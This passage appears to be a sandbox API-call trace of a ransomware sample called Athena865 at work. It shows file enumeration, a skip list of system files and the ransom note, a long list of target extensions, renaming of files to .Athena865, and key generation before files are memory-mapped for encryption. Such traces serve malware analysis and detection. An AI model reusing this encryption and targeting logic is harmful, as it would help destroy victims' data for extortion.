HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0119.777] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0119.777] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0119.777] CloseHandle (hObject=0x154) returned 1 [0119.777] CloseHandle (hObject=0x17c) returned 1 [0119.777] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538e10 | out: hHeap=0x4f0000) returned 1 [0119.777] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0119.777] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0119.778] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e8601df, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6e8601df, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee00a15, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1274, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="photoedge_selectionsubpicture.png", cAlternateFileName="")) returned 1 [0119.778] lstrcmpiW (lpString1="photoedge_selectionsubpicture.png", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0119.778] lstrcmpiW (lpString1="photoedge_selectionsubpicture.png", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0119.778] lstrcmpiW (lpString1="photoedge_selectionsubpicture.png", lpString2=".") returned 1 [0119.778] lstrcmpiW (lpString1="photoedge_selectionsubpicture.png", lpString2="..") returned 1 [0119.778] lstrcmpiW (lpString1="photoedge_selectionsubpicture.png", lpString2="windows") returned -1 [0119.778] lstrcmpiW (lpString1="photoedge_selectionsubpicture.png", lpString2="bootmgr") returned 1 [0119.778] lstrcmpiW (lpString1="photoedge_selectionsubpicture.png", lpString2="temp") returned -1 [0119.778] lstrcmpiW (lpString1="photoedge_selectionsubpicture.png", lpString2="pagefile.sys") returned 1 [0119.778] lstrcmpiW (lpString1="photoedge_selectionsubpicture.png", lpString2="boot") returned 1 [0119.778] lstrcmpiW (lpString1="photoedge_selectionsubpicture.png", lpString2="ids.txt") returned 1 [0119.778] lstrcmpiW (lpString1="photoedge_selectionsubpicture.png", lpString2="ntuser.dat") returned 1 [0119.778] lstrcmpiW (lpString1="photoedge_selectionsubpicture.png", lpString2="perflogs") returned 1 [0119.778] lstrcmpiW (lpString1="photoedge_selectionsubpicture.png", lpString2="MSBuild") returned 1 [0119.778] lstrlenW (lpString="photoedge_selectionsubpicture.png") returned 33 [0119.778] lstrcpyW (in: lpString1=0x241e8a0, lpString2="photoedge_selectionsubpicture.png" | out: lpString1="photoedge_selectionsubpicture.png") returned="photoedge_selectionsubpicture.png" [0119.778] lstrlenW (lpString="photoedge_selectionsubpicture.png") returned 33 [0119.778] lstrlenW (lpString="Athena865") returned 9 [0119.778] lstrcmpiW (lpString1="cture.png", lpString2="Athena865") returned 1 [0119.778] lstrlenW (lpString=".dll") returned 4 [0119.778] lstrcmpiW (lpString1="photoedge_selectionsubpicture.png", lpString2=".dll") returned 1 [0119.778] lstrlenW (lpString=".lnk") returned 4 [0119.778] lstrcmpiW (lpString1="photoedge_selectionsubpicture.png", lpString2=".lnk") returned 1 [0119.778] lstrlenW (lpString=".ini") returned 4 [0119.778] lstrcmpiW (lpString1="photoedge_selectionsubpicture.png", lpString2=".ini") returned 1 [0119.778] lstrlenW (lpString=".sys") returned 4 [0119.778] lstrcmpiW (lpString1="photoedge_selectionsubpicture.png", lpString2=".sys") returned 1 [0119.778] lstrlenW (lpString="photoedge_selectionsubpicture.png") returned 33 [0119.779] lstrlenW (lpString="bak") returned 3 [0119.779] lstrcmpiW (lpString1="png", lpString2="bak") returned 1 [0119.779] lstrlenW (lpString="ba_") returned 3 [0119.779] lstrcmpiW (lpString1="png", lpString2="ba_") returned 1 [0119.779] lstrlenW (lpString="dbb") returned 3 [0119.779] lstrcmpiW (lpString1="png", lpString2="dbb") returned 1 [0119.779] lstrlenW (lpString="vmdk") returned 4 [0119.779] lstrcmpiW (lpString1=".png", lpString2="vmdk") returned -1 [0119.779] lstrlenW (lpString="rar") returned 3 [0119.779] lstrcmpiW (lpString1="png", lpString2="rar") returned -1 [0119.779] lstrlenW (lpString="zip") returned 3 [0119.779] lstrcmpiW (lpString1="png", lpString2="zip") returned -1 [0119.779] lstrlenW (lpString="tgz") returned 3 [0119.779] lstrcmpiW (lpString1="png", lpString2="tgz") returned -1 [0119.779] lstrlenW (lpString="vbox") returned 4 [0119.779] lstrcmpiW (lpString1=".png", lpString2="vbox") returned -1 [0119.779] lstrlenW (lpString="vdi") returned 3 [0119.779] lstrcmpiW (lpString1="png", lpString2="vdi") returned -1 [0119.779] lstrlenW (lpString="vhd") returned 3 [0119.779] lstrcmpiW (lpString1="png", lpString2="vhd") returned -1 [0119.779] lstrlenW (lpString="vhdx") returned 4 [0119.779] lstrcmpiW (lpString1=".png", lpString2="vhdx") returned -1 [0119.779] lstrlenW (lpString="avhd") returned 4 [0119.779] lstrcmpiW (lpString1=".png", lpString2="avhd") returned -1 [0119.779] lstrlenW (lpString="db") returned 2 [0119.779] lstrcmpiW (lpString1="ng", lpString2="db") returned 1 [0119.779] lstrlenW (lpString="db2") returned 3 [0119.779] lstrcmpiW (lpString1="png", lpString2="db2") returned 1 [0119.780] lstrlenW (lpString="db3") returned 3 [0119.780] lstrcmpiW (lpString1="png", lpString2="db3") returned 1 [0119.780] lstrlenW (lpString="dbf") returned 3 [0119.780] lstrcmpiW (lpString1="png", lpString2="dbf") returned 1 [0119.780] lstrlenW (lpString="mdf") returned 3 [0119.780] lstrcmpiW (lpString1="png", lpString2="mdf") returned 1 [0119.780] lstrlenW (lpString="mdb") returned 3 [0119.780] lstrcmpiW (lpString1="png", lpString2="mdb") returned 1 [0119.780] lstrlenW (lpString="sql") returned 3 [0119.780] lstrcmpiW (lpString1="png", lpString2="sql") returned -1 [0119.780] lstrlenW (lpString="sqlite") returned 6 [0119.780] lstrcmpiW (lpString1="re.png", lpString2="sqlite") returned -1 [0119.780] lstrlenW (lpString="sqlite3") returned 7 [0119.780] lstrcmpiW (lpString1="ure.png", lpString2="sqlite3") returned 1 [0119.780] lstrlenW (lpString="sqlitedb") returned 8 [0119.780] lstrcmpiW (lpString1="ture.png", lpString2="sqlitedb") returned 1 [0119.780] lstrlenW (lpString="xml") returned 3 [0119.780] lstrcmpiW (lpString1="png", lpString2="xml") returned -1 [0119.780] lstrlenW (lpString="$er") returned 3 [0119.780] lstrcmpiW (lpString1="png", lpString2="$er") returned 1 [0119.780] lstrlenW (lpString="4dd") returned 3 [0119.780] lstrcmpiW (lpString1="png", lpString2="4dd") returned 1 [0119.780] lstrlenW (lpString="4dl") returned 3 [0119.780] lstrcmpiW (lpString1="png", lpString2="4dl") returned 1 [0119.780] lstrlenW (lpString="^^^") returned 3 [0119.780] lstrcmpiW (lpString1="png", lpString2="^^^") returned 1 [0119.780] lstrlenW (lpString="abs") returned 3 [0119.780] lstrcmpiW (lpString1="png", lpString2="abs") returned 1 [0119.780] lstrlenW (lpString="abx") returned 3 [0119.781] lstrcmpiW (lpString1="png", lpString2="abx") returned 1 [0119.781] lstrlenW (lpString="accdb") returned 5 [0119.781] lstrcmpiW (lpString1="e.png", lpString2="accdb") returned 1 [0119.781] lstrlenW (lpString="accdc") returned 5 [0119.781] lstrcmpiW (lpString1="e.png", lpString2="accdc") returned 1 [0119.781] lstrlenW (lpString="accde") returned 5 [0119.781] lstrcmpiW (lpString1="e.png", lpString2="accde") returned 1 [0119.781] lstrlenW (lpString="accdr") returned 5 [0119.781] lstrcmpiW (lpString1="e.png", lpString2="accdr") returned 1 [0119.781] lstrlenW (lpString="accdt") returned 5 [0119.781] lstrcmpiW (lpString1="e.png", lpString2="accdt") returned 1 [0119.781] lstrlenW (lpString="accdw") returned 5 [0119.781] lstrcmpiW (lpString1="e.png", lpString2="accdw") returned 1 [0119.781] lstrlenW (lpString="accft") returned 5 [0119.781] lstrcmpiW (lpString1="e.png", lpString2="accft") returned 1 [0119.781] lstrlenW (lpString="adb") returned 3 [0119.781] lstrcmpiW (lpString1="png", lpString2="adb") returned 1 [0119.781] lstrlenW (lpString="adb") returned 3 [0119.781] lstrcmpiW (lpString1="png", lpString2="adb") returned 1 [0119.781] lstrlenW (lpString="ade") returned 3 [0119.781] lstrcmpiW (lpString1="png", lpString2="ade") returned 1 [0119.781] lstrlenW (lpString="adf") returned 3 [0119.781] lstrcmpiW (lpString1="png", lpString2="adf") returned 1 [0119.781] lstrlenW (lpString="adn") returned 3 [0119.781] lstrcmpiW (lpString1="png", lpString2="adn") returned 1 [0119.781] lstrlenW (lpString="adp") returned 3 [0119.781] lstrcmpiW (lpString1="png", lpString2="adp") returned 1 [0119.781] lstrlenW (lpString="alf") returned 3 [0119.781] lstrcmpiW (lpString1="png", lpString2="alf") returned 1 [0119.781] lstrlenW (lpString="ask") returned 3 [0119.782] lstrcmpiW (lpString1="png", lpString2="ask") returned 1 [0119.782] lstrlenW (lpString="btr") returned 3 [0119.782] lstrcmpiW (lpString1="png", lpString2="btr") returned 1 [0119.782] lstrlenW (lpString="cat") returned 3 [0119.782] lstrcmpiW (lpString1="png", lpString2="cat") returned 1 [0119.782] lstrlenW (lpString="cdb") returned 3 [0119.782] lstrcmpiW (lpString1="png", lpString2="cdb") returned 1 [0119.782] lstrlenW (lpString="ckp") returned 3 [0119.782] lstrcmpiW (lpString1="png", lpString2="ckp") returned 1 [0119.782] lstrlenW (lpString="cma") returned 3 [0119.782] lstrcmpiW (lpString1="png", lpString2="cma") returned 1 [0119.782] lstrlenW (lpString="cpd") returned 3 [0119.782] lstrcmpiW (lpString1="png", lpString2="cpd") returned 1 [0119.782] lstrlenW (lpString="dacpac") returned 6 [0119.782] lstrcmpiW (lpString1="re.png", lpString2="dacpac") returned 1 [0119.782] lstrlenW (lpString="dad") returned 3 [0119.782] lstrcmpiW (lpString1="png", lpString2="dad") returned 1 [0119.782] lstrlenW (lpString="dadiagrams") returned 10 [0119.782] lstrcmpiW (lpString1="icture.png", lpString2="dadiagrams") returned 1 [0119.782] lstrlenW (lpString="daschema") returned 8 [0119.782] lstrcmpiW (lpString1="ture.png", lpString2="daschema") returned 1 [0119.782] lstrlenW (lpString="db-journal") returned 10 [0119.782] lstrcmpiW (lpString1="icture.png", lpString2="db-journal") returned 1 [0119.782] lstrlenW (lpString="db-shm") returned 6 [0119.782] lstrcmpiW (lpString1="re.png", lpString2="db-shm") returned 1 [0119.782] lstrlenW (lpString="db-wal") returned 6 [0119.782] lstrcmpiW (lpString1="re.png", lpString2="db-wal") returned 1 [0119.782] lstrlenW (lpString="dbc") returned 3 [0119.782] lstrcmpiW (lpString1="png", lpString2="dbc") returned 1 [0119.783] lstrlenW (lpString="dbs") returned 3 [0119.783] lstrcmpiW (lpString1="png", lpString2="dbs") returned 1 [0119.783] lstrlenW (lpString="dbt") returned 3 [0119.783] lstrcmpiW (lpString1="png", lpString2="dbt") returned 1 [0119.783] lstrlenW (lpString="dbv") returned 3 [0119.783] lstrcmpiW (lpString1="png", lpString2="dbv") returned 1 [0119.783] lstrlenW (lpString="dbx") returned 3 [0119.783] lstrcmpiW (lpString1="png", lpString2="dbx") returned 1 [0119.783] lstrlenW (lpString="dcb") returned 3 [0119.783] lstrcmpiW (lpString1="png", lpString2="dcb") returned 1 [0119.783] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\photoedge_selectionsubpicture.png.Athena865") returned 87 [0119.783] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\photoedge_selectionsubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\photoedge_selectionsubpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\photoedge_selectionsubpicture.png.Athena865" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\photoedge_selectionsubpicture.png.athena865"), dwFlags=0x1) returned 1 [0119.784] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\photoedge_selectionsubpicture.png.Athena865" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\photoedge_selectionsubpicture.png.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0119.784] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=4724) returned 1 [0119.784] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0119.784] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538e10 [0119.784] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0119.785] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0119.785] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0119.785] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0119.786] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1580, lpName=0x0) returned 0x154 [0119.787] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1580) returned 0x100000 [0119.788] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0119.789] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0119.789] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0119.789] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538d98 [0119.789] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538d98 | out: hHeap=0x4f0000) returned 1 [0119.789] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552940 [0119.789] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0119.789] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0119.789] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0119.789] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552940 [0119.789] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0119.789] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0119.790] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0119.790] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0119.790] CloseHandle (hObject=0x154) returned 1 [0119.790] CloseHandle (hObject=0x17c) returned 1 [0119.790] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538e10 | out: hHeap=0x4f0000) returned 1 [0119.790] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0119.790] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0119.790] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e88633c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6e88633c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee00a15, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1266, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="photoedge_videoinset.png", cAlternateFileName="")) returned 1 [0119.790] lstrcmpiW (lpString1="photoedge_videoinset.png", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0119.790] lstrcmpiW (lpString1="photoedge_videoinset.png", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0119.790] lstrcmpiW (lpString1="photoedge_videoinset.png", lpString2=".") returned 1 [0119.790] lstrcmpiW (lpString1="photoedge_videoinset.png", lpString2="..") returned 1 [0119.790] lstrcmpiW (lpString1="photoedge_videoinset.png", lpString2="windows") returned -1 [0119.790] lstrcmpiW (lpString1="photoedge_videoinset.png", lpString2="bootmgr") returned 1 [0119.790] lstrcmpiW (lpString1="photoedge_videoinset.png", lpString2="temp") returned -1 [0119.790] lstrcmpiW (lpString1="photoedge_videoinset.png", lpString2="pagefile.sys") returned 1 [0119.790] lstrcmpiW (lpString1="photoedge_videoinset.png", lpString2="boot") returned 1 [0119.790] lstrcmpiW (lpString1="photoedge_videoinset.png", lpString2="ids.txt") returned 1 [0119.790] lstrcmpiW (lpString1="photoedge_videoinset.png", lpString2="ntuser.dat") returned 1 [0119.791] lstrcmpiW (lpString1="photoedge_videoinset.png", lpString2="perflogs") returned 1 [0119.791] lstrcmpiW (lpString1="photoedge_videoinset.png", lpString2="MSBuild") returned 1 [0119.791] lstrlenW (lpString="photoedge_videoinset.png") returned 24 [0119.791] lstrcpyW (in: lpString1=0x241e8a0, lpString2="photoedge_videoinset.png" | out: lpString1="photoedge_videoinset.png") returned="photoedge_videoinset.png" [0119.791] lstrlenW (lpString="photoedge_videoinset.png") returned 24 [0119.791] lstrlenW (lpString="Athena865") returned 9 [0119.791] lstrcmpiW (lpString1="inset.png", lpString2="Athena865") returned 1 [0119.791] lstrlenW (lpString=".dll") returned 4 [0119.791] lstrcmpiW (lpString1="photoedge_videoinset.png", lpString2=".dll") returned 1 [0119.791] lstrlenW (lpString=".lnk") returned 4 [0119.791] lstrcmpiW (lpString1="photoedge_videoinset.png", lpString2=".lnk") returned 1 [0119.791] lstrlenW (lpString=".ini") returned 4 [0119.791] lstrcmpiW (lpString1="photoedge_videoinset.png", lpString2=".ini") returned 1 [0119.791] lstrlenW (lpString=".sys") returned 4 [0119.791] lstrcmpiW (lpString1="photoedge_videoinset.png", lpString2=".sys") returned 1 [0119.791] lstrlenW (lpString="photoedge_videoinset.png") returned 24 [0119.791] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\photoedge_videoinset.png.Athena865") returned 78 [0119.791] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\photoedge_videoinset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\photoedge_videoinset.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\photoedge_videoinset.png.Athena865" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\photoedge_videoinset.png.athena865"), dwFlags=0x1) returned 1 [0119.792] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\photoedge_videoinset.png.Athena865" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\photoedge_videoinset.png.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0119.792] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=4710) returned 1 [0119.792] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0119.792] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538e10 [0119.792] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0119.793] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0119.793] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0119.793] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0119.793] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1570, lpName=0x0) returned 0x154 [0119.795] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1570) returned 0x100000 [0119.796] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0119.797] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0119.797] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0119.797] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538d98 [0119.797] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538d98 | out: hHeap=0x4f0000) returned 1 [0119.797] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552940 [0119.797] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0119.797] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0119.797] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0119.797] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552940 [0119.798] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0119.798] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0119.798] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0119.798] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0119.798] CloseHandle (hObject=0x154) returned 1 [0119.798] CloseHandle (hObject=0x17c) returned 1 [0119.798] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538e10 | out: hHeap=0x4f0000) returned 1 [0119.798] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0119.798] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0119.798] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6efaa4ac, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6efaa4ac, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee00a15, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x59b9, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Postage_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0119.798] lstrcmpiW (lpString1="Postage_ButtonGraphic.png", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0119.798] lstrcmpiW (lpString1="Postage_ButtonGraphic.png", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0119.798] lstrcmpiW (lpString1="Postage_ButtonGraphic.png", lpString2=".") returned 1 [0119.798] lstrcmpiW (lpString1="Postage_ButtonGraphic.png", lpString2="..") returned 1 [0119.798] lstrcmpiW (lpString1="Postage_ButtonGraphic.png", lpString2="windows") returned -1 [0119.799] lstrcmpiW (lpString1="Postage_ButtonGraphic.png", lpString2="bootmgr") returned 1 [0119.799] lstrcmpiW (lpString1="Postage_ButtonGraphic.png", lpString2="temp") returned -1 [0119.799] lstrcmpiW (lpString1="Postage_ButtonGraphic.png", lpString2="pagefile.sys") returned 1 [0119.799] lstrcmpiW (lpString1="Postage_ButtonGraphic.png", lpString2="boot") returned 1 [0119.799] lstrcmpiW (lpString1="Postage_ButtonGraphic.png", lpString2="ids.txt") returned 1 [0119.799] lstrcmpiW (lpString1="Postage_ButtonGraphic.png", lpString2="ntuser.dat") returned 1 [0119.799] lstrcmpiW (lpString1="Postage_ButtonGraphic.png", lpString2="perflogs") returned 1 [0119.799] lstrcmpiW (lpString1="Postage_ButtonGraphic.png", lpString2="MSBuild") returned 1 [0119.799] lstrlenW (lpString="Postage_ButtonGraphic.png") returned 25 [0119.799] lstrcpyW (in: lpString1=0x241e8a0, lpString2="Postage_ButtonGraphic.png" | out: lpString1="Postage_ButtonGraphic.png") returned="Postage_ButtonGraphic.png" [0119.799] lstrlenW (lpString="Postage_ButtonGraphic.png") returned 25 [0119.799] lstrlenW (lpString="Athena865") returned 9 [0119.799] lstrcmpiW (lpString1="aphic.png", lpString2="Athena865") returned -1 [0119.799] lstrlenW (lpString=".dll") returned 4 [0119.799] lstrcmpiW (lpString1="Postage_ButtonGraphic.png", lpString2=".dll") returned 1 [0119.799] lstrlenW (lpString=".lnk") returned 4 [0119.799] lstrcmpiW (lpString1="Postage_ButtonGraphic.png", lpString2=".lnk") returned 1 [0119.799] lstrlenW (lpString=".ini") returned 4 [0119.799] lstrcmpiW (lpString1="Postage_ButtonGraphic.png", lpString2=".ini") returned 1 [0119.799] lstrlenW (lpString=".sys") returned 4 [0119.799] lstrcmpiW (lpString1="Postage_ButtonGraphic.png", lpString2=".sys") returned 1 [0119.799] lstrlenW (lpString="Postage_ButtonGraphic.png") returned 25 [0119.799] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Postage_ButtonGraphic.png.Athena865") returned 79 [0119.799] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Postage_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\postage_buttongraphic.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Postage_ButtonGraphic.png.Athena865" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\postage_buttongraphic.png.athena865"), dwFlags=0x1) returned 1 [0119.802] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Postage_ButtonGraphic.png.Athena865" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\postage_buttongraphic.png.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0119.802] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=22969) returned 1 [0119.802] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0119.802] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538e10 [0119.803] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0119.803] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0119.803] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0119.803] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0119.804] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5cc0, lpName=0x0) returned 0x154 [0119.805] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x5cc0) returned 0x100000 [0119.806] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0119.807] CryptGenRandom (in: 